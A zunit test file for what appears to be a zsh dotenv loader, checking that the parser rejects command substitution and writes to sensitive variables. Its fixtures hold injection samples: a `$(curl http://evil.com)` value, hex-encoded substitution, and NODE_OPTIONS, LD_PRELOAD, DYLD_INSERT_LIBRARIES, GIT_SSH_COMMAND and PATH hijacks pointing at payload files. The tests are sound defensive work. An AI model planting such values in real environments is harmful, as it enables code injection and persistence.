Parent directory

security.zunit

5017 bytes
  1#!/usr/bin/env zunit
  2
  3@setup {
  4  typeset -g fixture="$(_create_temp_fixture)"
  5  typeset -gA expected_vars=()
  6}
  7
  8@teardown {
  9  [[ -f "$fixture" ]] && command rm -f "$fixture"
 10  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
 11}
 12
 13@test 'skip dangerous backtick command substitution' {
 14  > "$fixture" <<'EOF'
 15# Should be skipped
 16DANGEROUS_BACKTICK=`whoami`
 17EOF
 18
 19  _parse_dotenv_test "$fixture"
 20
 21  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
 22}
 23
 24@test 'skip dangerous subshell command substitution' {
 25  > "$fixture" <<'EOF'
 26# Should be skipped
 27DANGEROUS_SUBSHELL=$(date)
 28EOF
 29
 30  _parse_dotenv_test "$fixture"
 31
 32  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
 33}
 34
 35@test 'skip nested command substitution in double quotes' {
 36  > "$fixture" <<'EOF'
 37# Should be skipped
 38DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
 39EOF
 40
 41  _parse_dotenv_test "$fixture"
 42
 43  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
 44}
 45
 46@test 'skip multiple words (potential command execution)' {
 47  > "$fixture" <<'EOF'
 48# Should be skipped - multiple words could execute commands
 49BASE_URL=/ echo command run
 50EOF
 51
 52  _parse_dotenv_test "$fixture"
 53
 54  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
 55}
 56
 57@test 'allow literal command substitution in single quotes' {
 58  > "$fixture" <<'EOF'
 59# Single quotes make everything literal - should be parsed
 60SAFE_SINGLE_QUOTED='$(this is literal)'
 61SAFE_BACKTICK='`also literal`'
 62
 63# Should also be parsed
 64SAFE_VAR=safe_value
 65EOF
 66
 67  expected_vars=(
 68    SAFE_SINGLE_QUOTED '$(this is literal)'
 69    SAFE_BACKTICK '`also literal`'
 70    SAFE_VAR 'safe_value'
 71  )
 72
 73  _parse_dotenv_test "$fixture"
 74
 75  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
 76}
 77
 78@test 'skip backticks in unquoted values' {
 79  > "$fixture" <<'EOF'
 80# Backticks in unquoted context - should be skipped
 81DANGEROUS_UNQUOTED=`echo danger`
 82EOF
 83
 84  _parse_dotenv_test "$fixture"
 85
 86  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
 87}
 88
 89@test 'skip dollar-paren in unquoted values' {
 90  > "$fixture" <<'EOF'
 91# Command substitution in unquoted context - should be skipped
 92DANGEROUS_UNQUOTED=$(uname -a)
 93EOF
 94
 95  _parse_dotenv_test "$fixture"
 96
 97  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
 98}
 99
100@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
101  > "$fixture" <<'EOF'
102# Dollar signs that don't start command substitution
103SAFE_DOLLARS='$HOME is literal'
104SAFE_PRICE='Cost is $50'
105SAFE_VAR='value$123'
106
107# Should all be parsed
108SAFE_VAR2=safe_value
109EOF
110
111  expected_vars=(
112    SAFE_DOLLARS '$HOME is literal'
113    SAFE_PRICE 'Cost is $50'
114    SAFE_VAR 'value$123'
115    SAFE_VAR2 'safe_value'
116  )
117
118  _parse_dotenv_test "$fixture"
119
120  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
121}
122
123@test 'skip quoted command substitution' {
124  > "$fixture" <<'EOF'
125HARMLESS_COMMAND="\$(echo)"
126ANOTHER_ONE=$'\x24\x28echo\x29'
127EOF
128
129  _parse_dotenv_test "$fixture"
130
131  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
132}
133
134@test 'comprehensive security test with mixed safe and dangerous patterns' {
135  > "$fixture" <<'EOF'
136# These should be SKIPPED (dangerous)
137DANGEROUS_BACKTICK=`whoami`
138DANGEROUS_SUBSHELL=$(date)
139DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
140LOOKS_SAFE=$(curl http://evil.com)
141BASE_URL=/ echo command run
142
143# These should WORK (safe)
144SAFE_BEFORE=safe_value_1
145SAFE_AFTER=safe_value_2
146SAFE_SINGLE_QUOTED='$(this is literal)'
147SAFE_SINGLE_QUOTED2='`also literal`'
148SAFE_DOLLARS='$HOME'
149SAFE_PRICE="$50"
150EOF
151
152  expected_vars=(
153    SAFE_BEFORE 'safe_value_1'
154    SAFE_AFTER 'safe_value_2'
155    SAFE_SINGLE_QUOTED '$(this is literal)'
156    SAFE_SINGLE_QUOTED2 '`also literal`'
157    SAFE_DOLLARS '$HOME'
158    SAFE_PRICE '$50'
159  )
160
161  _parse_dotenv_test "$fixture"
162
163  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
164}
165
166
167
168@test 'blocks changes of special environment variables' {
169  _parse_dotenv_test =(<<'EOF'
170# Executes on the next node/npm/npx invocation
171NODE_OPTIONS=--require=./payload.js
172
173# Used for shell initialization
174BASH_ENV=./payload.sh
175# Used for shell initialization in zsh, but also respected by some tools like git
176# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
177# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
178ENV=./payload.sh
179# Used for zsh startup
180ZDOTDIR=./.malicious_zsh
181ZSH=./.malicious_zsh
182
183# These are used for native code injection
184LD_PRELOAD=./payload.so
185LD_LIBRARY_PATH=./malicious_libs
186DYLD_INSERT_LIBRARIES=./payload.dylib
187
188# Git environment variables
189GIT_CONFIG_GLOBAL=./.gitconfig-malicious
190GIT_DIR=./malicious_git_dir
191GIT_EDITOR=./malicious_editor
192GIT_EXTERNAL_DIFF=./malicious_diff
193GIT_EXEC_PATH=./.malicious_git_exec
194GIT_PAGER=./malicious_pager
195GIT_SSH=./malicious_ssh
196GIT_SSH_COMMAND=./malicious_ssh_command
197GIT_SSL_NO_VERIFY=true
198GIT_TEMPLATE_DIR=./malicious_templates # for persistence
199
200# Special exported variables
201PATH=./malicious_bin:$PATH
202EDITOR=./malicious
203VISUAL=./malicious
204PAGER=./malicious
205EOF
206)
207
208  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
209}